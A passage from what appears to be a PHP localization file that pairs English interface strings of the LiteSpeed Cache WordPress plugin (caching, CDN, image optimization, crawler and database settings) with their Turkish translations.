alanını hesapla','Optimization Status'=>'Optimizasyon durumu','Current limit is'=>'Mevcut sınır','To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.'=>'Sunucumuzun sizin sunucunuzla sorunsuz iletişim kurabildiği ve her şeyin düzgün çalıştığından emin olmak için, istek başına izin verilen görsel sayısı ilk bir kaç istekte sınırlıdır.','You can request a maximum of %s images at once.'=>'Bir seferde en fazla %s görüntü isteyebilirsiniz.','Optimize images with our QUIC.cloud server'=>'Görselleri QUIC.cloud sunucumuzla optimize edin','Revisions newer than this many days will be kept when cleaning revisions.'=>'Revizyonlar temizlenirken bu süreden daha yeni olan revizyonlar saklanacaktır.','Day(s)'=>'Gün','Specify the number of most recent revisions to keep when cleaning revisions.'=>'Revizyonlar temizlenirken saklanacak güncel kabul edilecek revizyon sayısını belirtin.','LiteSpeed Cache Database Optimization'=>'LiteSpeed Cache veri tabanı optimizasyonu','DB Optimization Settings'=>'Veri tabanı optimizasyon seçenekleri','Option Name'=>'SEçenek adı','Database Summary'=>'Veri tabanı özeti','We are good. No table uses MyISAM engine.'=>'Her şey yolunda! Hiç bir tablo MyISAM motorunu kullanmıyor.','Convert to InnoDB'=>'InnoDB\'ye çevir','Tool'=>'Araçlar','Engine'=>'Motor','Table'=>'Tablo','Database Table Engine Converter'=>'Veri tabanı tablo motoru dönüştürücüsü','Clean revisions older than %1$s day(s), excluding %2$s latest revisions'=>'Son %2$s revizyon hariç olmak üzere, %1$s günden daha eski revizyonları temizle','Currently active crawler'=>'Şu anki aktif tarayıcı','Crawler(s)'=>'Tarayıcı(lar)','Crawler Status'=>'Tarayıcı durumu','Force cron'=>'Cron\'a zorla','Requests in queue'=>'Sıradaki istekler','Private Cache'=>'Özel önbellek','Public Cache'=>'Genele açık önbellek','Cache Status'=>'Önbellek durumu','Last Pull'=>'Son çekim','Image Optimization Summary'=>'Görsel optimizasyon özeti','Refresh page score'=>'Sayfa yenileme puanı','Are you sure you want to redetect the closest cloud server for this service?'=>'Bu hizmet için en yakın bulut sunucusunu yeniden tespit etmek istediğinize emin misiniz?','Refresh page load time'=>'Sayfa yükleme süresini yenile','Go to QUIC.cloud dashboard'=>'QUIC.cloud gösterge paneline gidin','Low Quality Image Placeholder'=>'Düşük kaliteli görsel yer tutucu (LQIP)','Sync data from Cloud'=>'Verileri buluttan eşitle','QUIC.cloud Service Usage Statistics'=>'QUIC.cloud hizmeti kullanım istatistikleri','Total images optimized in this month'=>'Bu ay optimize edilen toplam görsel','Total Usage'=>'Toplam kullanım','Pay as You Go Usage Statistics'=>'Kullandıkça öde kullanım istatistikleri','PAYG Balance'=>'PAYG bakiyesi','Pay as You Go'=>'Kullandıkça öde','Usage'=>'Kullanım','Fast Queue Usage'=>'Hızlı kuyruk kullanımı','CDN Bandwidth'=>'CDN bant genişliği','LiteSpeed Cache Dashboard'=>'LiteSpeed Cache gösterge paneli','Network Dashboard'=>'Ağ gösterge paneli','No cloud services currently in use'=>'Şu an kullanılan bulut hizmeti yok','Click to clear all nodes for further redetection.'=>'Tekrar tespit amacıyla tüm düğümleri temizlemek için tıklayın.','Current Cloud Nodes in Service'=>'Hizmette şu an yer alan bulut düğümleri','Link to QUIC.cloud'=>'QUIC.cloud ile bağla','General Settings'=>'Genel Ayarlar','Specify which HTML element attributes will be replaced with CDN Mapping.'=>'CDN Mapping\'le değiştirilecek HTML öz niteliklerini belirtin.','Add new CDN URL'=>'Yeni bir CDN URL\'si ekle','Remove CDN URL'=>'CDN URL\'sini çıkart','To enable the following functionality, turn ON Cloudflare API in CDN Settings.'=>'Aşağıdaki işlevleri etkinleştirmek için CDN ayarlarında Cloudflare API\'yı AÇIK konuma getirin.','QUIC.cloud'=>'QUIC.cloud','WooCommerce Settings'=>'WooCommerce Ayarları','LQIP Cache'=>'LQIP ön belleği','Options saved.'=>'Seçenekler kaydedildi.','Removed backups successfully.'=>'Yedekler başarıyla temizlendi.','Calculated backups successfully.'=>'Yedekler başarıyla hesaplandı.','Rescanned %d images successfully.'=>'%d görsel başarıyla yeniden tarandı.','Rescanned successfully.'=>'Başarıyla yeniden tarandı.','Destroy all optimization data successfully.'=>'Tüm optimizasyon verileri başarıyla yok edildi.','Cleaned up unfinished data successfully.'=>'Tamamlanmamış veriler başarıyla temizlendi.','Pull Cron is running'=>'Çekme Cron\'u çalışıyor','No valid image found by Cloud server in the current request.'=>'Bulut sunucusu tarafından bu istekte uygun görsel bulunamadı.','No valid image found in the current request.'=>'Bu istekte uygun görsel bulunamadı.','Pushed %1$s to Cloud server, accepted %2$s.'=>'Cloud sunucusuna %1$s gönderildi, %2$s kabul edildi.','Revisions Max Age'=>'Maks. revizyon ömrü','Revisions Max Number'=>'Maks. revizyon sayısı','Debug URI Excludes'=>'Hariç tutulan URI\'ler hata ayıklaması','Debug URI Includes'=>'Dahil edilen URI\'ler hata ayıklaması','HTML Attribute To Replace'=>'Değiştirilecek HTML öz niteliği','Use CDN Mapping'=>'CDN Eşleme\'yi kullan','Editor Heartbeat TTL'=>'Düzenleyici heartbeat TTL','Editor Heartbeat'=>'Düzenleyici heartbeat','Backend Heartbeat TTL'=>'Yönetim paneli heartbeat TTL','Backend Heartbeat Control'=>'Yönetim paneli heartbeat kontrolü','Frontend Heartbeat TTL'=>'Ön yüz heartbeat TTL','Frontend Heartbeat Control'=>'Kullanıcı ön yüzü heartbeat kontrolü','Backend .htaccess Path'=>'Yönetim paneli .htaccess yolu','Frontend .htaccess Path'=>'Ön yüz .htaccess yolu','ESI Nonces'=>'ESI Nonce anahtarları','WordPress Image Quality Control'=>'WordPress görüntü kalitesi kontrolü','Auto Request Cron'=>'Cron ile otomatik talep','Generate LQIP In Background'=>'LQIP\'leri arka planda oluştur','LQIP Minimum Dimensions'=>'LQIP minimum boyutları','LQIP Quality'=>'LQIP Kalitesi','LQIP Cloud Generator'=>'LQIP Bulut oluşturucu','Responsive Placeholder SVG'=>'Reponsif yer tutucu SVG','Responsive Placeholder Color'=>'Reponsif yer tutucu rengi','Basic Image Placeholder'=>'Temel görsel yer tutucusu','Lazy Load URI Excludes'=>'Geç yüklemeden hariç tutulacak URI\'ler','Lazy Load Iframe Parent Class Name Excludes'=>'Geç yüklemeden hariç tutulacak Iframeler için ana eleman class adları','Lazy Load Iframe Class Name Excludes'=>'Geç yüklemeden hariç tutulacak Iframe\'ler için class adları','Lazy Load Image Parent Class Name Excludes'=>'Geç yüklemeden hariç tutulacak görseller için ana eleman class isimleri','Gravatar Cache TTL'=>'Gravatar ön belleği TTL','Gravatar Cache Cron'=>'Gravatar ön belleği cron','Gravatar Cache'=>'Gravatar ön belleği','DNS Prefetch Control'=>'DNS ön çözümleme kontrolü','Font Display Optimization'=>'Yazı tipi görünüm optimizasyonu','Force Public Cache URIs'=>'Genele açık önbellek URI\'lerini zorla','Notifications'=>'Bildirimler','Default HTTP Status Code Page TTL'=>'Varsayılan HTTP durum kodu sayfası TTL','Default REST TTL'=>'Varsayılan REST TTL','Enable Cache'=>'Ön belleği etkinleştir','Server IP'=>'Sunucu IP','Images not requested'=>'Talep edilmeyen görseller','Sync credit allowance with Cloud Server successfully.'=>'Kredi hakkı bulut sunucusuyla başarıyla senkronize edildi.','Failed to communicate with QUIC.cloud server'=>'QUIC.cloud sunucusuyla iletişim kurulamadı','Good news from QUIC.cloud server'=>'QUIC.cloud sunucusundan iyi haberler var','Message from QUIC.cloud server'=>'QUIC.cloud sunucusundan mesaj','Please try after %1$s for service %2$s.'=>'%2$s hizmeti için %1$s sonra yeniden deneyin.','No available Cloud Node.'=>'Kullanılabilir bulut düğümü yok.','Cloud Error'=>'Bulut hatası','The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.'=>'Veritabanı,%s \'den beri arka planda güncelleniyor. Yükseltme tamamlandığında bu mesaj kaybolacaktır.','Restore from backup'=>'Yedekten geri al','No backup of unoptimized WebP file exists.'=>'Optimize edilmemiş WebP dosyası yedeği bulunmuyor.','WebP file reduced by %1$s (%2$s)'=>'WebP dosyası %1$s küçültüldü. (%2$s)','Currently using original (unoptimized) version of WebP file.'=>'Şu an WebP dosyasının (optimize edilmemiş) sürümü kullanılıyor.','Currently using optimized version of WebP file.'=>'Şu an WebP dosyasını optimize edilmiş sürümü kullanılıyor.','Orig'=>'Orij','(no savings)'=>'(tasarruf yok)','Orig %s'=>'Orij %s','Congratulation! Your file was already optimized'=>'Tebrikler! Dosyanız optimize edilmiş','No backup of original file exists.'=>'Orijinal dosyanın yedeği bulunmuyor.','Using optimized version of file. '=>'Dosyanın optimize edilmiş sürümü kullanılıyor. ','Orig saved %s'=>'Orij. tasarruf %s','Original file reduced by %1$s (%2$s)'=>'Orijinal dosya %1$s küçültüldü (%2$s)','Click to switch to optimized version.'=>'Optimize edilmiş sürüme geçmek için tıklayın.','Currently using original (unoptimized) version of file.'=>'Şu an dosyanın orijinal (optimize edilmemiş) sürümü kullanılıyor.','(non-optm)'=>'(optm değil)','Click to switch to original (unoptimized) version.'=>'Orijinal (optimize edilmemiş) sürüme geçmek için tıklayın.','Currently using optimized version of file.'=>'Şu an dosyanın optimize edilmiş sürümü kullanılıyor.','(optm)'=>'(optm)','LQIP image preview for size %s'=>'%s boyutu için LQIP görseli ön izlemesi','LQIP'=>'LQIP','Previously existed in blocklist'=>'Önceden kara listede vardı','Manually added to blocklist'=>'Manuel olarak kara listeye eklendi','Mobile Agent Rules'=>'Mobil tarayıcı kimliği kuralları','Sitemap created successfully: %d items'=>'Site haritası başarıyla oluşturuldu: %d öğe','Sitemap cleaned successfully'=>'Site haritası başarıyla temizlendi','Invalid IP'=>'Geçersiz IP','Value range'=>'Değer aralığı','Smaller than'=>'Şundan küçük','Larger than'=>'Şundan büyük','Zero, or'=>'Sıfır, veya','Maximum value'=>'Maksimum değer','Minimum value'=>'Minimum değer','Path must end with %s'=>'Yol %s ile bitmelidir','Invalid rewrite rule'=>'Geçersiz rewrite kuralı','Toolbox'=>'Araçlar','Database'=>'Veritabanı','Page Optimization'=>'Sayfa Optimizasyonu','Dashboard'=>'Başlangıç','Converted to InnoDB successfully.'=>'Başarıyla InnoDB\'ye dönüştürüldü.','Cleaned all Gravatar files.'=>'Tüm Gravatar dosyaları temizlendi.','Cleaned all LQIP files.'=>'Tüm LQIP dosyaları temizlendi.','Unknown error'=>'Bilinmeyen hata','Your domain has been forbidden from using our services due to a previous policy violation.'=>'Daha önceki bir politika ihlali nedeniyle alan adınızın hizmetlerimizi kullanması yasaklanmıştır.','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: '=>'Alan adınıza yönelik dönüş doğrulaması başarısız oldu. Lütfen sunucularımızı engelleyen bir güvenlik duvarı olmadığından emin olun. Yanıt kodu: ','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.'=>'Alan adınıza yönelik dönüş doğrulaması başarısız oldu. Lütfen sunucularımızı engelleyen bir güvenlik duvarı olmadığından emin olun.','The callback validation to your domain failed due to hash mismatch.'=>'Alan adınıza yönelik dönüş doğrulaması hash uyuşmazlığı nedeniyle başarısız oldu.','Your application is waiting for approval.'=>'Başvurunuz onay bekliyor.','Previous request too recent. Please try again after %s.'=>'Önceki istek çok yakın zamanda yapıldı. Lütfen %s sonra tekrar deneyin.','Previous request too recent. Please try again later.'=>'Önceki istek çok yakın zamanda yapıldı. Lütfen daha sonra tekrar deneyin.','Crawler disabled by the server admin.'=>'Tarayıcı sunucu yöneticisi tarafından devreden çıkartıldı.','Could not find %1$s in %2$s.'=>'%2$s içinde %1$s bulunamadı.','Credits are not enough to proceed the current request.'=>'Mevcut isteği devam ettirmek için krediniz yeterli değildir.','There is proceeding queue not pulled yet.'=>'Henüz çekilmemiş işlem kuyruğu var.','The image list is empty.'=>'Görsel listesi boş.','LiteSpeed Crawler Cron'=>'LiteSpeed Tarayıcısı Cron İşlevi','Every Minute'=>'Dakikada Bir','Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.'=>'Düzeltmeler, yeni sürümler, kullanılabilir beta sürümleri ve promosyonlar dahil olmak üzere en son haberleri otomatik olarak göstermek için bu seçeneği AÇIK konuma getirin.','To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.'=>'LiteSpeed Destek Ekibi\'ne wp-admin erişimi sağlamak için, raporla birlikte gönderilecek, oturum açmış kullanıcıya ait şifresiz giriş bağlantısı oluşturun.','Please do NOT share the above passwordless link with anyone.'=>'Lütfen yukarıdaki şifresiz giriş bağlantısını kimseyle paylaşmayın.','To generate a passwordless link for LiteSpeed Support Team access, you must install %s.'=>'LiteSpeed Destek Ekibi\'ne vermek üzere şifresiz bir bağlantı oluşturmak için %s yüklemeniz gerekir.','Install'=>'Kur','These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.'=>'Bu seçenekler yalnızca LiteSpeed Enterprise web sunucusu veya QUIC.cloud CDN ile kullanılabilir.','PageSpeed Score'=>'PageSpeed Değeri','Improved by'=>'Tarafından geliştirildi','After'=>'Sonra','Before'=>'Önce','Page Load Time'=>'Sayfa Yükleme Süresi','To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.'=>'Önbellekleme özelliklerini kullanabilmek için bir LiteSpeed altyapılı web sunucunuz olmalıdır veya QUIC.cloud CDN servisini kullanıyor olmalısınız.','Preserve EXIF/XMP data'=>'EXIF/XMP Verilerini Koru','Try GitHub Version'=>'GitHub Sürümünü Deneyin','If you turn any of the above settings OFF, please remove the related file types from the %s box.'=>'Yukarıdaki ayarlardan herhangi birini KAPALI konuma getirirseniz, lütfen ilgili dosya türlerini %s kutusundan kaldırın.','Both full and partial strings can be used.'=>'Hem tam hem kısmi kelimeler kullanılabilir.','Images containing these class names will not be lazy loaded.'=>'Bu CSS class adlarını içeren görseller \'lazy load\' kullanılarak yüklenmeyecektir.','Lazy Load Image Class Name Excludes'=>'Geç yüklemeden hariç tutulacak görsel class\'ları','For example, %1$s defines a TTL of %2$s seconds for %3$s.'=>'Örneğin, %1$s, %3$s için %2$s saniyelik bir TTL tanımlar.','To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.'=>'Bu URL için özel bir TTL tanımlamak için, URL\'nin sonuna TTL değerini ekleyin ve ardından bir boşluk bırakın.','Maybe Later'=>'Belki sonra','Turn On Auto Upgrade'=>'Otomatik yükseltmeyi aç','Upgrade'=>'Yükselt','New release %s is available now.'=>'Yeni sürüm %s şu anda kullanılabilir.','New Version Available!'=>'Yeni sürüm mevcut!','Sure I\'d love to review!'=>'Tabii incelemeyi çok isterim!','Thank You for Using the LiteSpeed Cache Plugin!'=>'LiteSpeed ​​Cache eklentisini kullandığınız için teşekkürler!','Upgraded successfully.'=>'Başarıyla yükseltildi.','Failed to upgrade.'=>'Yükseltme başarısız oldu.','Changed setting successfully.'=>'Ayar başarıyla değiştirildi.','ESI sample for developers'=>'Geliştiriciler için ESI örneği','Replace %1$s with %2$s.'=>'%1$s kodunu %2$s ile değiştirin.','You can turn shortcodes into ESI blocks.'=>'Kısa kodları ESI bloklarına dönüştürebilirsiniz.','WpW: Private Cache vs. Public Cache'=>'WpW: Özel Önbellek ve Genel Önbellek','Append query string %s to the resources to bypass this action.'=>'Bu işlemi atlamak için bir sorgu dizesi olan %s ekleyin.','Google reCAPTCHA will be bypassed automatically.'=>'Google reCAPTCHA otomatik olarak atlanacak.','To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.'=>'Belirli bir çerezle gezinmek için çerez adını ve tarayıcının kullanmasını istediğiniz değerleri girin. Her satırda bir değer olmalıdır. Her bir çerez ve simule edilen rol başına bir tarayıcı oluşturulur.','Cookie Values'=>'Çerez Değerleri','Cookie Name'=>'Çerez  Adı','Cookie Simulation'=>'Çerez Simülasyonu','Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.'=>'Google Fontlarını diğer CSS\'lere dokunmadan asenkron bir şekilde yüklemek için Web Font Loader kütüphanesini kullanın.','Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.'=>'Yeni bir sürüm çıktığında, LiteSpeed ​​Cache\'in otomatik olarak güncellenmesi için bu seçeneği AÇIK konumuna getirin. KAPALI ise, her zamanki gibi manuel olarak güncelleyin .','Automatically Upgrade'=>'Otomatik yükseltme','Your IP'=>'IP\'niz','Reset successfully.'=>'Başarıyla sıfırlandı.','This will reset all settings to default settings.'=>'Bu, tüm ayarları varsayılan ayarlara sıfırlayacaktır.','Reset All Settings'=>'Tüm ayarları sıfırla','Separate critical CSS files will be generated for paths containing these strings.'=>'Bu satırda listelenen kelimeler içeren bağlantılar için ayrı bir şekilde kritik CSS dosyaları oluşturulacaktır.','Separate CCSS Cache URIs'=>'Ayrı CCSS ön belleği URI\'leri','For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.'=>'Örneğin, sitedeki her sayfa farklı biçimlendirmeye sahipse, kutuya %s değerini girin. Sitede her sayfa için ayrı ayrı CSS dosyaları saklanacaktır.','List post types where each item of that type should have its own CCSS generated.'=>'Bu türdeki her öğenin kendi CCSS\'sinin oluşturmasını gerektiren yazı türlerini listeleyin .','Separate CCSS Cache Post Types'=>'Ayrılmış CCSS Önbellek Yazı Türleri','Size list in queue waiting for cron'=>'Bekleyen boyut listesi görevi','If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.'=>'%1$s olarak ayarlanmışsa, yer tutucu yerleştirilmeden önce %2$s yapılandırması kullanılacaktır.','Automatically generate LQIP in the background via a cron-based queue.'=>'LQIP\'yi cron temelli bir kuyrukla arka planda otomatik olarak oluşturun.','This will generate the placeholder with same dimensions as the image if it has the width and height attributes.'=>'Bu, genişlik ve yükseklik özelliklerine sahipse, yer tutucuyu görüntüyle aynı boyutlarda oluşturur.','Responsive image placeholders can help to reduce layout reshuffle when images are loaded.'=>'Responsive yer tutucular görüntüler yüklendiğinde oluşabilecek düzen değişikliğini azaltmaya yardımcı olabilir.','Responsive Placeholder'=>'Responsif yer tutucu','This will delete all generated image LQIP placeholder files'=>'Bu oluşturulan tüm LQIP yer tutucu görsel dosyaları siler','Please enable LiteSpeed Cache in the plugin settings.'=>'Lütfen eklenti ayarlarında LiteSpeed ​​Cache\'i etkinleştirin.','Please enable the LSCache Module at the server level, or ask your hosting provider.'=>'Lütfen LSCache Modülünü sunucu düzeyinde etkinleştirin veya barındırma sağlayıcınıza danışın .','Failed to request via WordPress'=>'WordPress ile istekte bulunurken hata oluştu','High-performance page caching and site optimization from LiteSpeed'=>'LiteSpeed\'ten yüksek performanslı sayfa önbellekleme ve site optimizasyonu','Reset the optimized data successfully.'=>'Optimize edilmiş veriler başarıyla sıfırlandı.','Update %s now'=>'%s Şimdi Güncelle','View %1$s version %2$s details'=>'%1$s sürümününün %2$s detaylarını görüntüle','<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.'=>'<a href="%1$s" %2$s>Sürüm %3$s detaylarını görüntüle</a> ya da <a href="%4$s" %5$s target="_blank">şimdi güncelle</a>.','Install %s'=>'%s Kur','LSCache caching functions on this page are currently unavailable!'=>'Bu sayfadaki LSCache önbellek işlevleri şu an kullanılabilir değildir!','%1$s plugin version %2$s required for this action.'=>'Bu eylem için %1$s eklentisi sürüm %2$s gereklidir.','We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.'=>'Çevrimiçi hizmet deneyiminizi geliştirmek için çok çalışıyoruz. Biz çalışırken servis kullanılamıyor olacak. Verdiğimiz rahatsızlıktan dolayı özür dileriz.','Automatically remove the original image backups after fetching optimized images.'=>'Optimize edilmiş görselleri getirdikten sonra otomatik olarak orijinal resimlerin yedeklerini kaldır.','Remove Original Backups'=>'Orijinal yedekleri kaldır','Automatically request optimization via cron job.'=>'Cron aracı ile otomatik olarak optimizasyon görevi isteyin.','A backup of each image is saved before it is optimized.'=>'Her görüntünün bir yedeği optimize edilmeden önce kaydedilir.','Switched images successfully.'=>'Resimler başarıyla aktarıldı.','This can improve quality but may result in larger images than lossy compression will.'=>'Bu seçenek resmin kalitesini artırabilir ancak kayıplı sıkıştırmaya göre daya büyük boyutlu dosyalara neden olabilir.','Optimize images using lossless compression.'=>'Kayıpsız sıkıştırmayı kullanarak görüntüleri optimize edin.','Optimize Losslessly'=>'Kayıpsız sıkıştırma','Optimize images and save backups of the originals in the same folder.'=>'Resimleri iyileştirin ve orijinal resimler ile aynı klasörde saklayın.','Optimize Original Images'=>'Orijinal Resimleri Optimize Edin','When this option is turned %s, it will also load Google Fonts asynchronously.'=>'Bu seçenek %s olarak seçilir ise Google Fonts dosyaları senkronize olmadan yüklenecektir.','Cleaned all Critical CSS files.'=>'Tüm Kritik CSS dosyaları temizlendi.','This will inline the asynchronous CSS library to avoid render blocking.'=>'Bu seçenek,senkronize olmayan CSS kütüphanesinin sayfa yüklenmesini engellememesi için satır içinde gösterecektir.','Inline CSS Async Lib'=>'Satır İçi Sekronize Olmayan CSS Kütüphanesi','Run Queue Manually'=>'Kuyruğu elle çalıştır','URL list in %s queue waiting for cron'=>'%s sırasındaki URL listesi cronu bekliyor','Last requested cost'=>'Son isteğin maliyeti','Last generated'=>'Son oluşturulan','If set to %s this is done in the foreground, which may slow down page load.'=>'Bu seçenek %s olarak ayarlanırsa işlem ön planda yapılır, bu da sayfanın yüklenmesini yavaşlatabilir.','Automatic generation of critical CSS is in the background via a cron-based queue.'=>'Cron-esaslı bir sıra ile arka planda kritik CSS oluşturulması.','Optimize CSS delivery.'=>'CSS teslimatını optimize edin.','This will delete all generated critical CSS files'=>'Bu oluşturulan tüm kritik CSS dosyalarını siler','Critical CSS'=>'Kritik CSS Dosyaları','This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.'=>'Bu site, daha hızlı yanıt süresi ve daha iyi kullanıcı deneyimi sağlamak için önbellek kullanır. Önbelleğe alma, bu sitede görüntülenen her web sayfasının tekrarlanan bir kopyasını depolayabilir. Tüm önbellek dosyaları geçicidir ve önbellek eklenti sağlayıcısından teknik destek talep edilmedikçe hiçbir üçüncü taraf tarafından erişilmez. Önbellek dosyalarının süresi site yöneticisi tarafından belirlenen bir zamanlamaya göre sona erer, ancak gerekirse süre dolmadan yönetici tarafından kolayca temizlenebilir. Verilerinizi geçici olarak işlemek ve önbelleğe almak için QUIC.cloud hizmetleri kullanabiliriz.','Disabling this may cause WordPress tasks triggered by AJAX to stop working.'=>'Bunu devre dışı bırakmak AJAX tarafından çalıştırılan WordPress görevlerinin çalışmasını durdurmasına neden olabilir.','right now'=>'şimdi','just now'=>'şu anda','Saved'=>'Kaydedildi','Last ran'=>'Son çalıştırılan','You will be unable to Revert Optimization once the backups are deleted!'=>'Yedekler silindikten sonra optimizasyonu geri alamazsınız!','This is irreversible.'=>'Bu geri döndürülemez.','Remove Original Image Backups'=>'Orijinal görsellerin yedeklerini kaldır','Are you sure you want to remove all image backups?'=>'Tüm görsel yedeklerini silmek istediğinizden emin misiniz?','Total'=>'Genel Toplam','Files'=>'Dosyalar','Last calculated'=>'Son Hesaplanan','Calculate Original Image Storage'=>'Orijinal Resimlerin Kapladığı Disk Boyutunu Hesapla','Storage Optimization'=>'Depolama Optimizasyonu','Use the format %1$s or %2$s (element is optional).'=>'Bunun için %1$s ya da %2$s yapılarını kullanın (Tercihe bağlıdır).','Only attributes listed here will be replaced.'=>'Sadece burada listelenen özellikler değiştirilecektir.','Only files within these directories will be pointed to the CDN.'=>'Sadece bu dizinlerdeki dosyalar CDN\'ye işaret edilecektir.','Included Directories'=>'Dahil edilen dizinler','A Purge All will be executed when WordPress runs these hooks.'=>'Wordpress bu özelliği çalıştırdığında tümünü temizle görevini gerçekleştirecektir.','Purge All Hooks'=>'Tüm özellikleri temizle','Purged all caches successfully.'=>'Tüm önbellek başarıyla temizlendi.','LSCache'=>'LSCache','Forced cacheable'=>'Zorla önbelleğe alınabilir','Paths containing these strings will be cached regardless of no-cacheable settings.'=>'Bu dizinde bulunan dosyalar, önbelleğe alma ayarlarından bağımsız olarak önbelleğe alınır.','Force Cache URIs'=>'Zorla önbelleğe alınacaklar','Exclude Settings'=>'Ayarları Hariç Tut','This will disable LSCache and all optimization features for debug purpose.'=>'Bu seçenek,hata ayıklama özelliği için tüm LSCache optimizasyon özelliklerini devre dışı bırakır.','Disable All Features'=>'Tüm özellikleri devre dışı bırak','Opcode Cache'=>'Opcode Önbelleği','CSS/JS Cache'=>'CSS/JS Önbelleği','Remove all previous unfinished image optimization requests.'=>'Daha önceki tüm tamamlanmamış resim optimizasyon isteklerini kaldır.','Clean Up Unfinished Data'=>'Tamamlanmamış Verileri Temizle','Join Us on Slack'=>'Slack ile bize katıl','Join the %s community.'=>'%s kullanıcı topluluğumuza katıldı.','Want to connect with other LiteSpeed users?'=>'Diğer LiteSpeed kullanıcılarıyla bağlantı kurmak ister misiniz?','Your API key / token is used to access %s APIs.'=>'%s API\'lerine erişim için API anahtarınız / tokeniniz.','Your Email address on %s.'=>'E-posta Adresiniz %s.','Use %s API functionality.'=>'%s API özelliğini kullan.','To randomize CDN hostname, define multiple hostnames for the same resources.'=>'CDN ana sunucusunda ki benzer kaynakları randomize etmek için birden fazla hostname tanımlayın.','Join LiteSpeed Slack community'=>'LiteSpeed Slack topluluğuna katılın','Visit LSCWP support forum'=>'LSCWP destek forumunu ziyaret edin','Images notified to pull'=>'Resimleri optimize etmek için bildir','What is a group?'=>'Grup nedir?','%s image'=>'%s görsel','%s group'=>'%s grup','%s images'=>'%s görseller','%s groups'=>'%s gruplar','Guest'=>'Misafir','To crawl the site as a logged-in user, enter the user ids to be simulated.'=>'Siteye giriş yapmış bir kullanıcı olarak taramak için simule edilecek olan kullanıcının bilgilerini giriniz.','Role Simulation'=>'Kullanıcı Rolü','running'=>'çalışıyor','Size'=>'Boyut','Ended reason'=>'Sona erdi','Last interval'=>'Son aralık','Current crawler started at'=>'Mevcut tarama başladı','Run time for previous crawler'=>'Önceki tarama için çalışma süresi','%d seconds'=>'%d saniye','Last complete run time for all crawlers'=>'En son tamamlanan tüm taramaların çalışma süresi','Current sitemap crawl started at'=>'Mevcut site haritası taraması başladı','Save transients in database when %1$s is %2$s.'=>'%1$s, %2$s olduğunda, geçici veritabanında kaydedin.','Store Transients'=>'Mağaza Geçişleri','If %1$s is %2$s, then %3$s must be populated!'=>'Eğer %1$s, %2$s konumunda ise %3$s ile bu alan doldurulmalıdır!','NOTE'=>'NOT','Server variable(s) %s available to override this setting.'=>'Sunucu değişkenleri %s bu ayarı geçersiz kılmak için kullanılabilir.','API'=>'API','Imported setting file %s successfully.'=>'%s ayar dosyası başarıyla içeriye aktarıldı.','Import failed due to file error.'=>'Dosya hatası nedeniyle içeri aktarma başarısız oldu.','How to Fix Problems Caused by CSS/JS Optimization.'=>'CSS/JS optimizasyonunun neden olduğu sorunlar nasıl düzeltilir.','This will generate extra requests to the server, which will increase server load.'=>'Bu seçenek sunucu yükünü artıracak ve sunucuya ekstra istekler yükleyecektir.','When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.'=>'Bir ziyaretçi bir sayfa bağlantısının üzerine geldiğinde, o sayfayı önceden yükleyin. Bu, o bağlantıya yapılan ziyareti hızlandıracaktır.','Instant Click'=>'Anında Tıklama','Reset the entire opcode cache'=>'Tüm opcode önbelleğini sıfırla','This will import settings from a file and override all current LiteSpeed Cache settings.'=>'Bu, dışarıdan bir ayar dosyasını içeri aktarmanızı sağlar ve aktarım yapıldığı zaman mevcut tüm LiteSpeed Cache ayarları geçersiz kalır.','Last imported'=>'Son aktarılan','Import'=>'Aktar','Import Settings'=>'Aktarma Ayarları','This will export all current LiteSpeed Cache settings and save them as a file.'=>'Bu tüm LiteSpeed Cache ayarlarını dışarı aktarır ve bir dosya olarak kaydeder.','Last exported'=>'Son dışarı aktarılan','Export'=>'Dışarı Aktar','Export Settings'=>'Dışarı Aktarma Ayarları','Import / Export'=>'İçeri Aktar/Dışarı Aktar','Use keep-alive connections to speed up cache operations.'=>'Önbellek işlemlerini hızlandırmak için keep-alive bağlantılarını kullanın.','Database to be used'=>'Kullanılacak veritabanı','Redis Database ID'=>'Redis Veritabanı ID','Specify the password used when connecting.'=>'Bağlanırken kullanılan şifreyi belirtin.','Password'=>'Şifre','Only available when %s is installed.'=>'Yalnızca %s yüklendiğinde kullanılabilir.','Username'=>'Kullanıcı Adı','Your %s Hostname or IP address.'=>'%s ana bilgisayar adınız veya IP adresiniz.','Method'=>'Yöntem','Purge all object caches successfully.'=>'Tüm nesne önbellekleri başarıyla temizlendi.','Object cache is not enabled.'=>'Nesne önbelleği etkin değil.','Improve wp-admin speed through caching. (May encounter expired data)'=>'Önbelleğe alma yoluyla wp-admin hızını artırın. (Süresi dolmuş verilerle karşılaşabilir)','Cache WP-Admin'=>'WP-Admin\'i önbelleğe al','Persistent Connection'=>'Kalıcı Bağlantı','Do Not Cache Groups'=>'Grupları Önbelleğe Alma','Groups cached at the network level.'=>'Ağ düzeyinde önbelleğe alınan gruplar.','Global Groups'=>'Genel Gruplar','Connection Test'=>'Bağlantı Testi','%s Extension'=>'%s Uzantı','Status'=>'Durum','Default TTL for cached objects.'=>'Önbelleğe alınan nesneler için varsayılan TTL.','Default Object Lifetime'=>'Varsayılan Nesne Ömrü','Port'=>'Bağlantı','Host'=>'Sunucu','Object Cache'=>'Nesne 